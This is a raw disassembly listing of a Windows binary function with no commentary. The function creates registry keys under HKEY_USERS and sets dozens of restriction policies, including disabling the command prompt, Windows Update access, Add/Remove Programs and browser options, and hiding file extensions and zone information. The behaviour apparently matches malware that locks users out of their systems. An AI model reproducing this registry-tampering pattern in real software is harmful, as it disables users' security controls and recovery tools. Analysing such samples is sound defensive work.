lea eax, [ebp - 0x58]
push eax
push 1
push 0
push 0x41c3dc
push dword [ebp - 0x7b0]
call edi
push 0x13
lea eax, [ebp - 0x220]
push eax
push 1
push 0
push 0x41c3e0
push dword [ebp - 0x7b0]
call edi
push 0xf
lea eax, [ebp - 0xac]
push eax
push 1
push 0
push 0x41c3e4
push dword [ebp - 0x7b0]
call edi
push 9
lea eax, [ebp - 0xc8]
push eax
push 1
push 0
push 0x41c3e8
push dword [ebp - 0x7b0]
call edi
push 0x11
lea eax, [ebp - 0x364]
push eax
push 1
push 0
push 0x41c3ec
push dword [ebp - 0x7b0]
call edi
push 0xd
lea eax, [ebp - 0x134]
push eax
push 1
push 0
push 0x41c3f0
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1bc]
push eax
push 1
push 0
push 0x41c3f4
push dword [ebp - 0x7b0]
call edi
push 0xa
lea eax, [ebp - 0x17c]
push eax
push 1
push 0
push 0x41c3f8
push dword [ebp - 0x7b0]
call edi
push 0xa
lea eax, [ebp - 0x170]
push eax
push 1
push 0
push 0x41c3fc
push dword [ebp - 0x7b0]
call edi
push 0xd
lea eax, [ebp - 0x104]
push eax
push 1
push 0
push 0x41c400
push dword [ebp - 0x7b0]
call edi
push 6
lea eax, [ebp - 0x48]
push eax
push 1
push 0
push 0x41c404
push dword [ebp - 0x7b0]
call edi
push 8
lea eax, [ebp - 0x50]
push eax
push 1
push 0
push 0x41c408
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x718], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x72c]
cmovae eax, dword [ebp - 0x72c]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push 0x41c40c
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRealMode
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x550], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x564]
cmovae eax, dword [ebp - 0x564]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoEntireNetwork
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoWorkgroupContents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisablePwdCaching
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoNetSetup
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoNetSetupIDpage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoNetSetupSecurityPage
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x700], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x714]
cmovae eax, dword [ebp - 0x714]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoClosingComponents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoEditingComponents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDeletingComponents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoAddingComponents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoComponents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoChangingWallPaper
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoHTMLWallPaper
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x6e8], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x6fc]
cmovae eax, dword [ebp - 0x6fc]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoBrowserContextMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoBrowserClose
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoBrowserSaveAs
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoBrowserOptions
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFavorites
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFileOpen
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFileNew
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFileUrl
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFindFiles
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSelectDownloadDir
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoTheaterMode
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoAddressBar
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoToolBar
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoLinksBar
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x6d0], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x6e4]
cmovae eax, dword [ebp - 0x6e4]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Accessibility
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.GeneralTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.SecurityTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ContentTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ConnectionsTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ProgramsTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.AdvancedTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.CertifPers
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.CertifSite
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.SecChangeSettings
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.SecAddSites
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.FormSuggest
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.FormSuggest_Passwords
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Connwiz_Admin_Lock
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Autoconfig
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Settings
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ResetWebSettings
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Advanced
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Cache
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.CalendarContact
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Certificates
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Check_If_Default
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Colors
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Connection_Settings
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Connection_Wizard
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Fonts
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.History
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.HomePage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Languages
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Links
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Messaging
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Profiles
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Proxy
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Ratings
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Wallet
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x6b8], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x6cc]
cmovae eax, dword [ebp - 0x6cc]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableWindowsUpdateAccess
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x6a0], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x6b4]
cmovae eax, dword [ebp - 0x6b4]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoAddRemovePrograms
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRemovePage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoAddPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoWindowsSetupPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DontGroupPatches
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x688], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x69c]
cmovae eax, dword [ebp - 0x69c]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableFileTransfer
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableCollaborationApps
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisablePC2PCAudio
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisablePC2Phone
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableVideo
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x670], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x684]
cmovae eax, dword [ebp - 0x684]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.PreventAutoUpdate
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ShowAttribCol
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DontPrettyPath
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.FriendlyTree
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoNetCrawling
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x77c]
push eax
push 4
push 0
push str.Hidden
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x77c]
push eax
push 4
push 0
push str.TsakbarGlomLevel
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.HideFileExt
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x52c]
push eax
push 4
push 0
push str.ShowSuperHidden
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x658], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x66c]
cmovae eax, dword [ebp - 0x66c]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.Show
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x640], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x654]
cmovae eax, dword [ebp - 0x654]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.20D04FE0_3AEA_1069_A2D8_08002B30309D
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x628], 0x10
lea ecx, [ebp - 0x528]
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFileMru
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x610], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x624]
cmovae eax, dword [ebp - 0x624]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.AutoComplete_In_File_Dialog
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x5f8], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x60c]
cmovae eax, dword [ebp - 0x60c]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.SaveZoneInformation
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x5e0], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
lea eax, [ebp - 0x5f4]
cmovae eax, dword [ebp - 0x5f4]
push 0
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.TurnOffSidebar
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x5b0], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x5c4]
cmovae eax, dword [ebp - 0x5c4]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableCMD
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x568], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x57c]
cmovae eax, dword [ebp - 0x57c]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.645FF040_5081_101B_9F08_00AA002F954E
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.20D04FE0_3AEA_1069_A2D8_08002B30309D
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.5399E694_6CE5_4D6C_8FCE_1D8870FDCBA0
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.59031a47_3f72_44a7_89c5_5595fe6b30ee
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.F02C1A0D_BE21_4350_88B0_7367FC96EF3C
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x5c8], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x5dc]
cmovae eax, dword [ebp - 0x5dc]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.645FF040_5081_101B_9F08_00AA002F954E
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.20D04FE0_3AEA_1069_A2D8_08002B30309D
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.5399E694_6CE5_4D6C_8FCE_1D8870FDCBA0
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.59031a47_3f72_44a7_89c5_5595fe6b30ee
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.F02C1A0D_BE21_4350_88B0_7367FC96EF3C
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x580]
cmp edx, 0x10
jb 0x404abf
mov ecx, dword [ebp - 0x594]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404ab5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x598]
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 0xf
mov byte [ebp - 0x594], 0
cmp edx, 0x10
jb 0x404b18
mov ecx, dword [ebp - 0x5ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404b0e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x5b0]
mov dword [ebp - 0x59c], 0
mov dword [ebp - 0x598], 0xf
mov byte [ebp - 0x5ac], 0
cmp edx, 0x10
jb 0x404b71
mov ecx, dword [ebp - 0x5c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404b67
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x530]
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5b0], 0xf
mov byte [ebp - 0x5c4], 0
cmp edx, 0x10
jb 0x404bca
mov ecx, dword [ebp - 0x544]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404bc0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x5c8]
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 0xf
mov byte [ebp - 0x544], 0
cmp edx, 0x10
jb 0x404c23
mov ecx, dword [ebp - 0x5dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404c19
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x568]
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x5c8], 0xf
mov byte [ebp - 0x5dc], 0
cmp edx, 0x10
jb 0x404c7c
mov ecx, dword [ebp - 0x57c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404c72
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x5e0]
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0x568], 0xf
mov byte [ebp - 0x57c], 0
cmp edx, 0x10
jb 0x404cd5
mov ecx, dword [ebp - 0x5f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404ccb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x5f8]
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0x5e0], 0xf
mov byte [ebp - 0x5f4], 0
cmp edx, 0x10
jb 0x404d2e
mov ecx, dword [ebp - 0x60c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404d24
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x610]
mov dword [ebp - 0x5fc], 0
mov dword [ebp - 0x5f8], 0xf
mov byte [ebp - 0x60c], 0
cmp edx, 0x10
jb 0x404d87
mov ecx, dword [ebp - 0x624]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404d7d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x628]
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x610], 0xf
mov byte [ebp - 0x624], 0
cmp edx, 0x10
jb 0x404de0
mov ecx, dword [ebp - 0x63c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404dd6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x640]
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x628], 0xf
mov byte [ebp - 0x63c], 0
cmp edx, 0x10
jb 0x404e39
mov ecx, dword [ebp - 0x654]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404e2f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x658]
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 0xf
mov byte [ebp - 0x654], 0
cmp edx, 0x10
jb 0x404e92
mov ecx, dword [ebp - 0x66c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404e88
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x670]
mov dword [ebp - 0x65c], 0
mov dword [ebp - 0x658], 0xf
mov byte [ebp - 0x66c], 0
cmp edx, 0x10
jb 0x404eeb
mov ecx, dword [ebp - 0x684]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404ee1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x688]
mov dword [ebp - 0x674], 0
mov dword [ebp - 0x670], 0xf
mov byte [ebp - 0x684], 0
cmp edx, 0x10
jb 0x404f44
mov ecx, dword [ebp - 0x69c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404f3a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x6a0]
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x688], 0xf
mov byte [ebp - 0x69c], 0
cmp edx, 0x10
jb 0x404f9d
mov ecx, dword [ebp - 0x6b4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404f93
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x6b8]
mov dword [ebp - 0x6a4], 0
mov dword [ebp - 0x6a0], 0xf
mov byte [ebp - 0x6b4], 0
cmp edx, 0x10
jb 0x404ff6
mov ecx, dword [ebp - 0x6cc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404fec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
